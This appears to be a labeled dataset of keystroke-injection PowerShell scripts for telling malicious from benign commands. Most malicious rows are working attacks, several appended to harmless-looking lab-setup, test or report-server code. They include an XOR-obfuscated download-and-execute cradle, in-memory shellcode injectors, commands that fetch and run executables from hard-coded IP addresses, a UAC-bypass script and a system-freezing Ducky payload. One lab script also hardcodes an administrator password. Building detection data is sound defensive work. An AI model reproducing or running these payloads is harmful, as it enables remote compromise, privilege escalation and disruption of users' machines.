$Servers += New-Object psobject -Property @{Name='TARKIN';Type='Core';Class='SQLServer'} enter $pw = ConvertTo-SecureString -String 'vanh0uten!42' -AsPlainText -Force enter $LocalAdminCred = New-Object System.Management.Automation.PSCredential ('localhost\administrator',$pw) enter enter foreach($Server in $Servers){ enter enter New-LabVM -VMName $Server.name ` enter -LocalCred $LocalAdminCred ` enter -OSType $Server.Type ` enter -VMPath 'F:\VMs\Machines' ` enter -VHDPath 'F:\VMs\VHDs' ` enter -ISOs @('F:\VMs\ISOs\en_windows_server_2016_technical_preview_3_x64_dvd_6942082.iso','F:\VMs\ISOs\SQLServer2016CTP2.3-x64-ENU.iso') ` enter -VMSource F:\VMs\ISOs\GM2016Tp3.vhdx ` enter -VMSwitches @('HostNetwork','LabNetwork') ` enter -Verbose enter } enter enter New-LabVM -VMName 'RIKER' ` enter -LocalCred $LocalAdminCred ` enter -VMPath 'C:\VMs\Machines' ` enter -VHDPath 'C:\VMs\VHDs' ` enter -ISOs @('C:\VMs\ISOs\en_windows_server_2012_r2_with_update_x64_dvd_6052708.iso') ` enter -VMSource C:\VMs\ISOs\GM2012R2Core.vhdx ` enter -VMSwitches @('Host','VMSWitch') ` enter -Verbose enter switch($OSType){ enter 'Full'{Invoke-Command -VMName $VMName -Credential $LocalCred {Rename-Computer -NewName $using:VMName -Force;Get-WindowsFeature server-gui* | Add-WindowsFeature -Source wim:D:\sources\install.wim:4 –Restart}} enter 'Core'Set-ItemProperty 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\WinLogon' shell 'Powershell.exe -noexit -command ""$psversiontable;""';Restart-Computer}} enter } enter $Servers = @() enter $Servers += New-Object psobject -Property @{Name='VADER';Type='Core';Class='SQLServer'} enter $Servers += New-Object psobject -Property @{Name='TARKIN';Type='Core';Class='SQLServer'} enter $pw = ConvertTo-SecureString -String 'vanh0uten!42' -AsPlainText -Force enter $LocalAdminCred = New-Object System.Management.Automation.PSCredential ('localhost\administrator',$pw) enter enter foreach($Server in $Servers){ enter enter New-LabVM -VMName $Server.name ` enter -LocalCred $LocalAdminCred ` enter -VMPath 'C:\VMs\Machines' ` enter -VHDPath 'C:\VMs\VHDs' ` enter -ISOs @('C:\VMs\ISOs\en_windows_server_2016_technical_preview_3_x64_dvd_6942082.iso','C:\VMs\ISOs\en_sql_server_2014_developer_edition_x64_dvd_3940406.iso') ` enter -VMSource C:\VMs\ISOs\GM2016Tp3.vhdx ` enter -VMSwitches @('Host','VMSWitch') ` enter -Verbose enter enter Invoke-Command -VMName $Server.name `-Credential $LocalAdminCred {Set-ItemProperty 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\WinLogon' shell 'Powershell.exe -noexit -command ""$psversiontable;""';Restart-Computer} enter enter } enter [SysTEM.NEt.SErVICePoiNTMaNagEr]::EXpecT100CoNTInue = 0;$wc=New-OBJEcT SYsTem.NET.WEBCLiENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeAdeRS.AdD('User-Agent',$u);$wc.PROXY = [SYStem.NET.WEBReQUeST]::DefAulTWebPROXY;$WC.PRoxy.CrEDENtiAls = [SyStEm.Net.CREdenTialCAChe]::DEfaULtNeTWoRkCReDeNtiAlS;$K='If>Wsbg5&_7k|zSra\<ZlA-D83*~$n^J';$I=0;[ChaR[]]$b=([cHAr[]]($wC.DOWnloaDSTrinG(""http://ciagov.gotdns.ch:8080/index.asp"")))|%{$_-bXoR$K[$I++%$K.LenGTh]};IEX ($B-JOin'') enter enter",1,1,5.527266e-05,0.9999447
"win+r powershell enter $SnOc = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $SnOc -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbf,0xba,0xd7,0x7d,0x24,0xda,0xde,0xd9,0x74,0x24,0xf4,0x58,0x29,0xc9,0xb1,0x47,0x31,0x78,0x13,0x83,0xe8,0xfc,0x03,0x78,0xb5,0x35,0x88,0xd8,0x21,0x3b,0x73,0x21,0xb1,0x5c,0xfd,0xc4,0x80,0x5c,0x99,0x8d,0xb2,0x6c,0xe9,0xc0,0x3e,0x06,0xbf,0xf0,0xb5,0x6a,0x68,0xf6,0x7e,0xc0,0x4e,0x39,0x7f,0x79,0xb2,0x58,0x03,0x80,0xe7,0xba,0x3a,0x4b,0xfa,0xbb,0x7b,0xb6,0xf7,0xee,0xd4,0xbc,0xaa,0x1e,0x51,0x88,0x76,0x94,0x29,0x1c,0xff,0x49,0xf9,0x1f,0x2e,0xdc,0x72,0x46,0xf0,0xde,0x57,0xf2,0xb9,0xf8,0xb4,0x3f,0x73,0x72,0x0e,0xcb,0x82,0x52,0x5f,0x34,0x28,0x9b,0x50,0xc7,0x30,0xdb,0x56,0x38,0x47,0x15,0xa5,0xc5,0x50,0xe2,0xd4,0x11,0xd4,0xf1,0x7e,0xd1,0x4e,0xde,0x7f,0x36,0x08,0x95,0x73,0xf3,0x5e,0xf1,0x97,0x02,0xb2,0x89,0xa3,0x8f,0x35,0x5e,0x22,0xcb,0x11,0x7a,0x6f,0x8f,0x38,0xdb,0xd5,0x7e,0x44,0x3b,0xb6,0xdf,0xe0,0x37,0x5a,0x0b,0x99,0x15,0x32,0xf8,0x90,0xa5,0xc2,0x96,0xa3,0xd6,0xf0,0x39,0x18,0x71,0xb8,0xb2,0x86,0x86,0xbf,0xe8,0x7f,0x18,0x3e,0x13,0x80,0x30,0x84,0x47,0xd0,0x2a,0x2d,0xe8,0xbb,0xaa,0xd2,0x3d,0x51,0xae,0x44,0x7e,0x0e,0xb0,0x85,0x16,0x4d,0xb1,0xb4,0xba,0xd8,0x57,0xe6,0x12,0x8b,0xc7,0x46,0xc3,0x6b,0xb8,0x2e,0x09,0x64,0xe7,0x4e,0x32,0xae,0x80,0xe4,0xdd,0x07,0xf8,0x90,0x44,0x02,0x72,0x01,0x88,0x98,0xfe,0x01,0x02,0x2f,0xfe,0xcf,0xe3,0x5a,0xec,0xa7,0x03,0x11,0x4e,0x61,0x1b,0x8f,0xe5,0x8d,0x89,0x34,0xac,0xda,0x25,0x37,0x89,0x2c,0xea,0xc8,0xfc,0x27,0x23,0x5d,0xbf,0x5f,0x4c,0xb1,0x3f,0x9f,0x1a,0xdb,0x3f,0xf7,0xfa,0xbf,0x13,0xe2,0x04,0x6a,0x00,0xbf,0x90,0x95,0x71,0x6c,0x32,0xfe,0x7f,0x4b,0x74,0xa1,0x80,0xbe,0x84,0x9d,0x56,0x86,0xf2,0xcf,0x6a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$hwM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($hwM.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$hwM,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2556607e-05,0.9999474
"DUCKY_REAL_BEGIN enter REM Title: BSOD-Freeze version enter REM Author: FalsePhilosopher enter REM Target: Win enter REM Props: Hak5, the community and memes enter REM Version: 1.0 enter REM Category: Prank enter REM Invokes a system freeze from a microsoft developer tool enter REM startup delay enter DELAY 300 enter GUI r enter DELAY 500 enter STRING cmd enter CTRL-SHIFT ENTER enter DELAY 1500 enter ALT y enter DELAY 1000 enter STRING \\live.sysinternals.com tab ools enter otmyfaultc64.exe hang 0x02 /accepteula enter ENTER enter DUCKY_REAL_END",1,1,6.2048835e-05,0.9999379
"win+r powershell enter Set-Variable -Name FileName -Scope Global -Force enter Set-Variable -Name Log -Scope Global -Force enter Function DeleteLogFiles { enter Set-Variable Count -Scope Local -Force enter Set-Variable Files -Scope Local -Force enter Set-Variable i -Scope Local -Force enter $Months = @(""Jan"",""Feb"",""Mar"",""Apr"",""May"",""Jun"",""Jul"",""Aug"",""Sep"",""Oct"",""Nov"",""Dec"") enter $Files = Get-ChildItem $Global:Log -Filter ""*.log"" enter $Count = $Files.Count enter If ($Count -ne 0) { enter For ($i=0; $i -le $Count; $i++) { enter For ($j=0; $j -le $Months.Count; $j++) { enter $Month = ""-""+$Months[$j]+""-"" enter $a = $Files[$i] -match $Month enter If ($a -eq $true) { enter $File = $Global:Log + ""\"" + $Files[$i] enter If (Test-Path $File) { enter Remove-Item -Path $File -Force enter } enter } enter } enter } enter } enter $File = $Global:Log + ""\NotRebooted.log"" enter If (Test-Path $File) { enter Remove-Item -Path $File -Force enter } enter Remove-Variable Count -Scope Local -Force enter Remove-Variable Files -Scope Local -Force enter Remove-Variable i -Scope Local -Force enter } enter Function NewLogFile { enter $FileName = ""NotRebooted.log"" enter $Log = $Env:windir + ""\Logs"" enter New-Item -Path $Log -Name $FileName -ItemType File -Force enter } enter cls enter DeleteLogFiles enter NewLogFile enter Restart-Computer -ComputerName localhost -Force enter (New-Object System.Net.WebClient).DownloadFile('http://80.82.64.45/~yakar/msvmonr.exe',""$env:APPDATA\msvmonr.exe"");Start-Process (""$env:APPDATA\msvmonr.exe"") enter",1,1,5.8934605e-05,0.9999411
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_jee6vepp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter",0,0,0.99996614,3.3898606e-05
"win+r enter powershell enter enter enter $here = Split-Path -Parent $MyInvocation.MyCommand.Path enter $sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path) -replace '\.Tests', '' enter . ""$here\$sut"" enter enter $clusterName = $ENV:ClusterName enter $httpUserPassword = $ENV:HttpPassword enter $securePassword = ConvertTo-SecureString $httpUserPassword -AsPlainText -Force enter $creds = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""admin"", $securePassword enter function Get-Credential { return $creds } enter enter Describe ""hdinsight-hadoop-use-hive-powershell"" { enter It ""Runs a Hive query using Start-AzHDInsightJob"" { enter Mock Read-Host { $clusterName } enter (Start-HiveJob)[-1].StartsWith(""2012-02-03"") | Should be True enter } enter enter It ""Runs a Hive query using Invoke-Hive"" { enter Mock Read-Host { $clusterName } enter (Start-HiveJobInvoke)[-1].StartsWith(""2012-02-03"") | Should be True enter } enter enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x92,0x68,0x02,0x00,0x01,0xbd,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1356386e-05,0.9999486
"win+r enter powershell enter enter enter Describe ""Alias tests"" -Tags ""CI"" { enter enter BeforeAll { enter $testPath = Join-Path testdrive:\ (""testAlias\.test"") enter New-Item -ItemType Directory -Path $testPath -Force | Out-Null enter enter class TestData enter { enter [string] $testName enter [string] $testFile enter [string] $expectedError enter enter TestData($name, $file, $error) enter { enter $this.testName = $name enter $this.testFile = $file enter $this.expectedError = $error enter } enter } enter } enter enter Context ""Export-Alias literal path"" { enter BeforeAll { enter $csvFile = Join-Path $testPath ""alias.csv"" enter $ps1File = Join-Path $testPath ""alias.ps1"" enter enter $testCases = @() enter $testCases += [TestData]::new(""CSV"", $csvFile, [NullString]::Value) enter $testCases += [TestData]::new(""PS1"", $ps1File, [NullString]::Value) enter $testCases += [TestData]::new(""Empty string"", """", ""ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Commands.ExportAliasCommand"") enter $testCases += [TestData]::new(""Null"", [NullString]::Value, ""ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.ExportAliasCommand"") enter $testCases += [TestData]::new(""Non filesystem provider"", 'env:\alias.ps1', ""ReadWriteFileNotFileSystemProvider,Microsoft.PowerShell.Commands.ExportAliasCommand"") enter } enter enter $testCases | ForEach-Object { enter enter It ""for $($_.testName)"" { enter enter $test = $_ enter try enter { enter Export-Alias -LiteralPath $test.testFile -ErrorAction SilentlyContinue enter } enter catch enter { enter $exportAliasError = $_ enter } enter enter if($null -eq $test.expectedError) enter { enter Test-Path -LiteralPath $test.testFile | Should -BeTrue enter } enter else enter { enter $exportAliasError.FullyqualifiedErrorId | Should -Be $test.expectedError enter } enter } enter enter AfterEach { enter Remove-Item -LiteralPath $test.testFile -Force -ErrorAction SilentlyContinue enter } enter } enter enter It ""when file exists with NoClobber"" { enter Export-Alias -LiteralPath $csvFile enter { Export-Alias -LiteralPath $csvFile -NoClobber } | Should -Throw -ErrorId ""NoClobber,Microsoft.PowerShell.Commands.ExportAliasCommand"" enter } enter } enter enter Context ""Export-All inside a literal path"" { enter BeforeEach { enter Push-Location -LiteralPath $testPath enter } enter enter It ""with a CSV file"" { enter Export-Alias ""alias.csv"" enter Test-Path -LiteralPath (Join-Path $testPath ""alias.csv"") | Should -BeTrue enter } enter enter It ""with NoClobber"" { enter $path = Export-Alias alias.csv enter enter { Export-Alias alias.csv -NoClobber } | Should -Throw -ErrorId ""NoClobber,Microsoft.PowerShell.Commands.ExportAliasCommand"" enter } enter enter AfterEach { enter Pop-Location enter } enter } enter enter Context ""Import-Alias literal path"" { enter enter BeforeAll { enter $csvFile = Join-Path $testPath ""alias.csv"" enter $ps1File = Join-Path $testPath ""alias.ps1"" enter enter $testCases = @() enter $testCases += [TestData]::new(""Empty string"", """", ""ParameterArgumentValidationErrorEmptyStringNotAllowed,Microsoft.PowerShell.Commands.ImportAliasCommand"") enter $testCases += [TestData]::new(""Null"", [NullString]::Value, ""ParameterArgumentValidationErrorNullNotAllowed,Microsoft.PowerShell.Commands.ImportAliasCommand"") enter $testCases += [TestData]::new(""Non filesystem provider"", 'env:\alias.ps1', ""NotSupported,Microsoft.PowerShell.Commands.ImportAliasCommand"") enter } enter enter $testCases | ForEach-Object { enter enter It ""for $($_.testName)"" { enter $test = $_ enter enter { Import-Alias -LiteralPath $test.testFile -ErrorAction SilentlyContinue } | Should -Throw -ErrorId $test.expectedError enter } enter } enter enter It ""can be done from a CSV file"" { enter $aliasDefinition = @' enter ""myuh"",""update-help"","""",""ReadOnly, AllScope"" enter '@ enter enter $aliasFile = Join-Path $testPath ""alias.csv"" enter $aliasDefinition | Out-File -LiteralPath $aliasFile enter enter Import-Alias -LiteralPath $aliasFile enter $definedAlias = Get-Alias myuh enter enter $definedAlias | Should -Not -BeNullOrEmpty enter $definedAlias.Name | Should -BeExactly ""myuh"" enter $definedAlias.Definition | Should -Be ""update-help"" enter } enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.224922e-05,0.9999378
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_il9ke0km"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_30.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.391729e-05
"win+r enter powershell enter enter enter function New-RsRestFolder enter { enter [CmdletBinding()] enter param( enter [Parameter(Mandatory = $True)] enter [string] enter $RsFolder, enter enter [Parameter(Mandatory = $True)] enter [Alias('Name')] enter [string] enter $FolderName, enter enter [string] enter $ReportPortalUri, enter enter [Alias('ApiVersion')] enter [ValidateSet(""v2.0"")] enter [string] enter $RestApiVersion = ""v2.0"", enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter [Microsoft.PowerShell.Commands.WebRequestSession] enter $WebSession enter ) enter Begin enter { enter $WebSession = New-RsRestSessionHelper -BoundParameters $PSBoundParameters enter $ReportPortalUri = Get-RsPortalUriHelper -WebSession $WebSession enter $foldersUri = $ReportPortalUri + ""api/$RestApiVersion/Folders"" enter } enter Process enter { enter try enter { enter if ($RsFolder -eq '/') enter { enter $TargetFolderPath = ""/$FolderName"" enter } enter else enter { enter $TargetFolderPath = ""$RsFolder/$FolderName"" enter } enter Write-Verbose ""Creating folder $TargetFolderPath..."" enter enter $payload = @{ enter ""@odata.type"" = "" enter ""Path"" = $RsFolder; enter ""Name"" = $FolderName; enter } enter $payloadJson = ConvertTo-Json $payload enter enter if ($Credential -ne $null) enter { enter $response = Invoke-WebRequest -Uri $foldersUri -Method Post -WebSession $WebSession -Body ([System.Text.Encoding]::UTF8.GetBytes($payloadJson)) -ContentType ""application/json"" -Credential $Credential -Verbose:$false enter } enter else enter { enter $response = Invoke-WebRequest -Uri $foldersUri -Method Post -WebSession $WebSession -Body ([System.Text.Encoding]::UTF8.GetBytes($payloadJson)) -ContentType ""application/json"" -UseDefaultCredentials -Verbose:$false enter } enter enter Write-Verbose ""Folder $TargetFolderPath was created successfully!"" enter return ConvertFrom-Json $response.Content enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to create folder '$FolderName' in '$RsFolder': $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x8d,0xff,0x9b,0xf8,0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1953157e-05,0.999948
"win+r enter powershell enter enter enter function Get-TrustedHost enter { enter [CmdletBinding()] enter param( enter enter ) enter enter Begin{ enter } enter enter Process{ enter $TrustedHost_Path = ""WSMan:\localhost\Client\TrustedHosts"" enter enter try{ enter [String]$TrustedHost_Value = (Get-Item -Path $TrustedHost_Path).Value enter } enter catch{ enter throw enter } enter enter if([String]::IsNullOrEmpty($TrustedHost_Value)) enter { enter return enter } enter enter foreach($TrustedHosts in $TrustedHost_Value.Split(',')) enter { enter [pscustomobject] @{ enter TrustedHost = $TrustedHosts enter } enter } enter } enter enter End{ enter enter } enter } enter enter",0,0,0.99573684,0.0042631244
"win+r enter powershell enter enter enter function Invoke-WScriptBypassUAC enter { enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$True)] enter [string] enter $payload enter ) enter enter function Local:Get-TempFileName { enter enter $sTempFolder = $env:Temp enter $sTempFolder = $sTempFolder + ""\"" enter $sTempFileName = [System.IO.Path]::GetRandomFileName() + "".tmp"" enter $sTempFileName = $sTempFileName -split '\.',([regex]::matches($sTempFileName,""\."").count) -join '' enter $sTempFileNameFinal = $sTempFolder + $sTempFileName enter return $sTempFileNameFinal enter } enter enter function Local:Invoke-CopyFile($sSource, $sTarget) { enter enter $sTempFile = Get-TempFileName enter Start-Process -WindowStyle Hidden -FilePath ""$($env:WINDIR)\System32\makecab.exe"" -ArgumentList ""$sSource $sTempFile"" enter $null = wusa ""$sTempFile"" /extract:""$sTarget"" /quiet enter Start-Sleep -s 2 enter Remove-Item $sTempFile enter } enter enter function Local:Invoke-WscriptTrigger { enter enter $VBSfileName = [System.IO.Path]::GetRandomFileName() + "".vbs"" enter $ADSFile = $VBSFileName -split '\.',([regex]::matches($VBSFileName,""\."").count) -join '' enter enter $VBSPayload = ""Dim objShell:"" enter $VBSPayload += ""Dim oFso:"" enter $VBSPayload += ""Set oFso = CreateObject(""""Scripting.FileSystemObject""""):"" enter $VBSPayload += ""Set objShell = WScript.CreateObject(""""WScript.Shell""""):"" enter $VBSPayload += ""command = """"$payload"""":"" enter $VBSPayload += ""objShell.Run command, 0:"" enter $DelCommand = ""$($env:WINDIR)\System32\cmd.exe /c """"""""start /b """""""""""""""" cmd /c """"""""timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest"""""""""""""""""" enter $VBSPayload += ""command = """"$DelCommand"""":"" enter $VBSPayload += ""objShell.Run command, 0:"" enter $VBSPayload += ""Set objShell = Nothing"" enter enter ""[*] Storing VBS payload into `""$env:USERPROFILE\AppData:$ADSFile`"""" enter $CreateWrapperADS = {cmd /C ""echo $VBSPayload > """"$env:USERPROFILE\AppData:$ADSFile""""""} enter Invoke-Command -ScriptBlock $CreateWrapperADS enter enter ""[*] Executing VBS payload with modified scripting host"" enter $ExecuteScript = {cmd /C ""$($env:WINDIR)\wscript.exe """"$env:USERPROFILE\AppData:$ADSFile""""""} enter Invoke-Command -ScriptBlock $ExecuteScript enter enter ""[*] Removing Alternate Data Stream from $(""$env:USERPROFILE\AppData:$ADSFile"")"" enter Remove-ADS $env:USERPROFILE\AppData:$ADSFile enter } enter enter function Local:Invoke-WscriptElevate { enter enter $WscriptManifest = enter @"" enter <?xml version=""1.0"" encoding=""UTF-8"" standalone=""yes""?> enter <assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" enter xmlns:asmv3=""urn:schemas-microsoft-com:asm.v3"" enter manifestVersion=""1.0""> enter <asmv3:trustInfo> enter <security> enter <requestedPrivileges> enter <requestedExecutionLevel level=""RequireAdministrator"" uiAccess=""false""/> enter </requestedPrivileges> enter </security> enter </asmv3:trustInfo> enter <asmv3:application> enter <asmv3:windowsSettings xmlns=""http://schemas.microsoft.com/SMI/2005/WindowsSettings""> enter <autoElevate>true</autoElevate> enter <dpiAware>true</dpiAware> enter </asmv3:windowsSettings> enter </asmv3:application> enter </assembly> enter ""@ enter $sManifest = $env:Temp + ""\wscript.exe.manifest"" enter $WscriptManifest | Out-File $sManifest -Encoding UTF8 enter enter ""[*] Cabbing and extracting manifest into $($env:WINDIR)"" enter Invoke-CopyFile $sManifest $env:WINDIR enter enter ""[*] Cabbing and extracting wscript.exe into $($env:WINDIR)"" enter $WScriptPath = ""$($env:WINDIR)\System32\wscript.exe"" enter Invoke-CopyFile $WScriptPath $env:WINDIR enter Remove-Item -Force $sManifest enter Invoke-WscriptTrigger enter } enter enter function Local:Remove-ADS { enter enter [CmdletBinding()] Param( enter [Parameter(Mandatory=$True)] enter [string]$ADSPath enter ) enter $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') enter $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) enter $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) enter enter $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') enter $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) enter $SetLastError = 